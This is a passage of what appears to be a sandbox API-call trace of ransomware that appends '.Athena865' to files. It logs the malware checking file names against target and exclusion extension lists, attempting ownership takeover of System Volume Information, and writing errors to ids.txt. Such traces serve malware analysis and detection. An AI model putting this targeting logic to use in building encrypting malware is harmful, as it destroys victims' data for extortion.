(lpString="fic") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.379] lstrlenW (lpString="flexolibrary") returned 12 [0035.379] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.379] lstrlenW (lpString="fm5") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.379] lstrlenW (lpString="fmp") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.379] lstrlenW (lpString="fmp12") returned 5 [0035.379] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.379] lstrlenW (lpString="fmpsl") returned 5 [0035.379] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.379] lstrlenW (lpString="fol") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.379] lstrlenW (lpString="fp3") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.379] lstrlenW (lpString="fp4") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.379] lstrlenW (lpString="fp5") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.379] lstrlenW (lpString="fp7") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.379] lstrlenW (lpString="fpt") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.379] lstrlenW (lpString="frm") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.379] lstrlenW (lpString="gdb") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.379] lstrlenW (lpString="gdb") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.379] lstrlenW (lpString="grdb") returned 4 [0035.379] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.379] lstrlenW (lpString="gwi") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.379] lstrlenW (lpString="hdb") returned 3 [0035.379] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.380] lstrlenW (lpString="his") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.380] lstrlenW (lpString="ib") returned 2 [0035.380] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.380] lstrlenW (lpString="idb") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.380] lstrlenW (lpString="ihx") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.380] lstrlenW (lpString="itdb") returned 4 [0035.380] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.380] lstrlenW (lpString="itw") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.380] lstrlenW (lpString="jet") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.380] lstrlenW (lpString="jtx") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.380] lstrlenW (lpString="kdb") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.380] lstrlenW (lpString="kexi") returned 4 [0035.380] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.380] lstrlenW (lpString="kexic") returned 5 [0035.380] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.380] lstrlenW (lpString="kexis") returned 5 [0035.380] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.380] lstrlenW (lpString="lgc") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.380] lstrlenW (lpString="lwx") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.380] lstrlenW (lpString="maf") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.380] lstrlenW (lpString="maq") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.380] lstrlenW (lpString="mar") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.380] lstrlenW (lpString="marshal") returned 7 [0035.380] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.380] lstrlenW (lpString="mas") returned 3 [0035.380] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.380] lstrlenW (lpString="mav") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.381] lstrlenW (lpString="maw") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.381] lstrlenW (lpString="mdbhtml") returned 7 [0035.381] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.381] lstrlenW (lpString="mdn") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.381] lstrlenW (lpString="mdt") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.381] lstrlenW (lpString="mfd") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.381] lstrlenW (lpString="mpd") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.381] lstrlenW (lpString="mrg") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.381] lstrlenW (lpString="mud") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.381] lstrlenW (lpString="mwb") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.381] lstrlenW (lpString="myd") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.381] lstrlenW (lpString="ndf") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.381] lstrlenW (lpString="nnt") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.381] lstrlenW (lpString="nrmlib") returned 6 [0035.381] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.381] lstrlenW (lpString="ns2") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.381] lstrlenW (lpString="ns3") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.381] lstrlenW (lpString="ns4") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.381] lstrlenW (lpString="nsf") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.381] lstrlenW (lpString="nv") returned 2 [0035.381] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.381] lstrlenW (lpString="nv2") returned 3 [0035.381] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.381] lstrlenW (lpString="nwdb") returned 4 [0035.382] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.382] lstrlenW (lpString="nyf") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.382] lstrlenW (lpString="odb") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.382] lstrlenW (lpString="odb") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.382] lstrlenW (lpString="oqy") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.382] lstrlenW (lpString="ora") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.382] lstrlenW (lpString="orx") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.382] lstrlenW (lpString="owc") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.382] lstrlenW (lpString="p96") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.382] lstrlenW (lpString="p97") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.382] lstrlenW (lpString="pan") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.382] lstrlenW (lpString="pdb") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.382] lstrlenW (lpString="pdm") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.382] lstrlenW (lpString="pnz") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.382] lstrlenW (lpString="qry") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.382] lstrlenW (lpString="qvd") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.382] lstrlenW (lpString="rbf") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.382] lstrlenW (lpString="rctd") returned 4 [0035.382] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.382] lstrlenW (lpString="rod") returned 3 [0035.382] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.382] lstrlenW (lpString="rodx") returned 4 [0035.383] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.383] lstrlenW (lpString="rpd") returned 3 [0035.383] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.383] lstrlenW (lpString="rsd") returned 3 [0035.383] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.383] lstrlenW (lpString="sas7bdat") returned 8 [0035.402] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.402] lstrlenW (lpString="sbf") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.402] lstrlenW (lpString="scx") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.402] lstrlenW (lpString="sdb") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.402] lstrlenW (lpString="sdc") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.402] lstrlenW (lpString="sdf") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.402] lstrlenW (lpString="sis") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.402] lstrlenW (lpString="spq") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.402] lstrlenW (lpString="te") returned 2 [0035.402] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.402] lstrlenW (lpString="teacher") returned 7 [0035.402] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.402] lstrlenW (lpString="tmd") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.402] lstrlenW (lpString="tps") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.402] lstrlenW (lpString="trc") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.402] lstrlenW (lpString="trc") returned 3 [0035.402] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.402] lstrlenW (lpString="trm") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.403] lstrlenW (lpString="udb") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.403] lstrlenW (lpString="udl") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.403] lstrlenW (lpString="usr") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.403] lstrlenW (lpString="v12") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.403] lstrlenW (lpString="vis") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.403] lstrlenW (lpString="vpd") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.403] lstrlenW (lpString="vvv") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.403] lstrlenW (lpString="wdb") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.403] lstrlenW (lpString="wmdb") returned 4 [0035.403] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.403] lstrlenW (lpString="wrk") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.403] lstrlenW (lpString="xdb") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.403] lstrlenW (lpString="xld") returned 3 [0035.403] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.403] lstrlenW (lpString="xmlff") returned 5 [0035.403] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.403] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.403] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.403] GetLastError () returned 0x5 [0035.403] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.403] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.403] SetEntriesInAclW () returned 0x0 [0035.403] SetNamedSecurityInfoW () returned 0x5 [0035.404] SetNamedSecurityInfoW () returned 0x5 [0035.404] LocalFree (hMem=0x529490) returned 0x0 [0035.404] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.404] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bc62-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.404] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc3a [0035.404] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.404] CloseHandle (hObject=0x154) returned 1 [0035.405] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.405] CloseHandle (hObject=0x0) returned 0 [0035.405] CloseHandle (hObject=0x0) returned 0 [0035.405] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x300b0700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x300b0700, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x4321af60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xd8a4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{9C755~1")) returned 1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.405] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.406] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.406] lstrlenW (lpString="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.406] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.406] lstrlenW (lpString="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.406] lstrlenW (lpString="Athena865") returned 9 [0035.406] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.406] lstrlenW (lpString=".dll") returned 4 [0035.406] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.406] lstrlenW (lpString=".lnk") returned 4 [0035.406] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.406] lstrlenW (lpString=".ini") returned 4 [0035.406] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.406] lstrlenW (lpString=".sys") returned 4 [0035.406] lstrcmpiW (lpString1="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.406] lstrlenW (lpString="{9625bc66-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.406] lstrlenW (lpString="bak") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.406] lstrlenW (lpString="ba_") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.406] lstrlenW (lpString="dbb") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.406] lstrlenW (lpString="vmdk") returned 4 [0035.406] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.406] lstrlenW (lpString="rar") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.406] lstrlenW (lpString="zip") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.406] lstrlenW (lpString="tgz") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.406] lstrlenW (lpString="vbox") returned 4 [0035.406] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.406] lstrlenW (lpString="vdi") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.406] lstrlenW (lpString="vhd") returned 3 [0035.406] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.406] lstrlenW (lpString="vhdx") returned 4 [0035.406] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.407] lstrlenW (lpString="avhd") returned 4 [0035.407] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.407] lstrlenW (lpString="db") returned 2 [0035.407] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.407] lstrlenW (lpString="db2") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.407] lstrlenW (lpString="db3") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.407] lstrlenW (lpString="dbf") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.407] lstrlenW (lpString="mdf") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.407] lstrlenW (lpString="mdb") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.407] lstrlenW (lpString="sql") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.407] lstrlenW (lpString="sqlite") returned 6 [0035.407] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.407] lstrlenW (lpString="sqlite3") returned 7 [0035.407] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.407] lstrlenW (lpString="sqlitedb") returned 8 [0035.407] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.407] lstrlenW (lpString="xml") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.407] lstrlenW (lpString="$er") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.407] lstrlenW (lpString="4dd") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.407] lstrlenW (lpString="4dl") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.407] lstrlenW (lpString="^^^") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.407] lstrlenW (lpString="abs") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.407] lstrlenW (lpString="abx") returned 3 [0035.407] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.407] lstrlenW (lpString="accdb") returned 5 [0035.407] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.407] lstrlenW (lpString="accdc") returned 5 [0035.408] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.408] lstrlenW (lpString="accde") returned 5 [0035.408] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.408] lstrlenW (lpString="accdr") returned 5 [0035.408] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.408] lstrlenW (lpString="accdt") returned 5 [0035.408] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.408] lstrlenW (lpString="accdw") returned 5 [0035.408] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.408] lstrlenW (lpString="accft") returned 5 [0035.408] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.408] lstrlenW (lpString="adb") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.408] lstrlenW (lpString="adb") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.408] lstrlenW (lpString="ade") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.408] lstrlenW (lpString="adf") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.408] lstrlenW (lpString="adn") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.408] lstrlenW (lpString="adp") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.408] lstrlenW (lpString="alf") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.408] lstrlenW (lpString="ask") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.408] lstrlenW (lpString="btr") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.408] lstrlenW (lpString="cat") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.408] lstrlenW (lpString="cdb") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.408] lstrlenW (lpString="ckp") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.408] lstrlenW (lpString="cma") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.408] lstrlenW (lpString="cpd") returned 3 [0035.408] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.409] lstrlenW (lpString="dacpac") returned 6 [0035.409] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.409] lstrlenW (lpString="dad") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.409] lstrlenW (lpString="dadiagrams") returned 10 [0035.409] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.409] lstrlenW (lpString="daschema") returned 8 [0035.409] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.409] lstrlenW (lpString="db-journal") returned 10 [0035.409] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.409] lstrlenW (lpString="db-shm") returned 6 [0035.409] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.409] lstrlenW (lpString="db-wal") returned 6 [0035.409] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.409] lstrlenW (lpString="dbc") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.409] lstrlenW (lpString="dbs") returned 3 [0035.409] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.409] lstrlenW 